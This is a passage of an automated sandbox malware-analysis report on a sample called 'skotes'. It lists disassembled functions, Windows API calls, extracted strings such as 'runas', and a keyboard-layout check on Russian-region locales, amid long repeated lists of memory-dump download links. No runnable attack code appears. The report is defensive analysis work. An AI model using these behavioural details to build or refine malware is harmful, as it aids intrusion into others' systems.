Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 711b43fa2190bcaee649609ef2e40f37391fbe80f37dd63b56c4945efbbcfb23
Instruction ID: 0b42d72373a586a5740a15a798e1ee454c9c1605d51f59b304c7f646b7aacc28
Opcode Fuzzy Hash: 711b43fa2190bcaee649609ef2e40f37391fbe80f37dd63b56c4945efbbcfb23
Instruction Fuzzy Hash: C6B1AF719402689BDB24DB54CC89BEEBB79AF04340F5402D8E508E72D2DB749BE88F95

Function 005F7D30 Relevance: 10.9, APIs: 1, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 005F7ED3

Strings

P`, xrefs: 005F7D3D
JjssPV==, xrefs: 005F81E2
JjssOl==, xrefs: 005F813A
JjsrPl==, xrefs: 005F828A
JjsrQV==, xrefs: 005F8092

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$P`
API String ID: 1721193555-68032254
Opcode ID: 0f0581af580f0f9f61005237a8b0022896cee7511030c69cca65e99d9690b018
Instruction ID: 9efe70bee68f4cced07d789a67f2694bbed43c224beecdebb41efa9bf62b5a39
Opcode Fuzzy Hash: 0f0581af580f0f9f61005237a8b0022896cee7511030c69cca65e99d9690b018
Instruction Fuzzy Hash: C4E10870E006599BDB14BB28CC5B3BE7E62BB46720F94068CE515673C2EB395E9487C2

Function 00631ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00631775: CreateFileW.KERNEL32(00000000,00000000,?,00631B65,?,?,00000000,?,00631B65,00000000,0000000C), ref: 00631792

__dosmaperr.LIBCMT ref: 00631BD7
GetFileType.KERNEL32(00000000), ref: 00631BE3
__dosmaperr.LIBCMT ref: 00631BF6
__dosmaperr.LIBCMT ref: 00631D9C

Strings

H, xrefs: 00631D21

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 6e47b4937ce2dc43c585e448468ad397b34497e11830234d1e0da12a7f7d3743
Instruction ID: 46948c1113c07acd7061422864eca1866c1169247dee938fe93d7230a543cda1
Opcode Fuzzy Hash: 6e47b4937ce2dc43c585e448468ad397b34497e11830234d1e0da12a7f7d3743
Instruction Fuzzy Hash: 7EA10432A045588FCF19DF68DD91BAE7BA2AF47320F14118DE811AF3D1DB758902CB95

Function 005F7590 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 224
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,54AE89DA,?,00000000,00639138,000000FF), ref: 005F75CC
CreateThread.KERNEL32(00000000,00000000,005F7430,00658638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 005F76BE
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 005F76C9

Strings

runas, xrefs: 005F7303

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$CreateThread
String ID: runas
API String ID: 3220764680-4000483414
Opcode ID: a4d22cf9d6cc52c23689be4e2dcb748ea1a91a4d96b6e16986311748718d4a59
Instruction ID: 969246a3e89de8b15139f050edb8a0ff9dd3de596d1a032a100c93ba2e161e35
Opcode Fuzzy Hash: a4d22cf9d6cc52c23689be4e2dcb748ea1a91a4d96b6e16986311748718d4a59
Instruction Fuzzy Hash: 5671F13061424CEFEB08DF68C985BAE7FA6EB09304F508519F911673C2CB79A984CB95

Function 006326F2 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 172
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00646758), ref: 0063275C

Strings

Xgd, xrefs: 00632705, 0063270B
Eastern Summer Time, xrefs: 006327FA
Eastern Standard Time, xrefs: 006327CB

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xgd
API String ID: 565725191-2667187983
Opcode ID: 6284f83d0a469605ee41877a237b4efe1f80a1d9c7f767d9495691dbffc69122
Instruction ID: 9f59eed74a184ea634c135c308311949bc25a07356ac8275204667ca1f0e5421
Opcode Fuzzy Hash: 6284f83d0a469605ee41877a237b4efe1f80a1d9c7f767d9495691dbffc69122
Instruction Fuzzy Hash: 6D512471900316ABDB10EF69DC919AE77BEEF41310F50126EF510A32A1EB309E45CBD0

Function 00626FB4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00626EE6), ref: 00626FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00627030
__dosmaperr.LIBCMT ref: 006270C5

Part of subcall function 0062732A: __dosmaperr.LIBCMT ref: 0062735F

Strings

nb, xrefs: 00626FCE

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
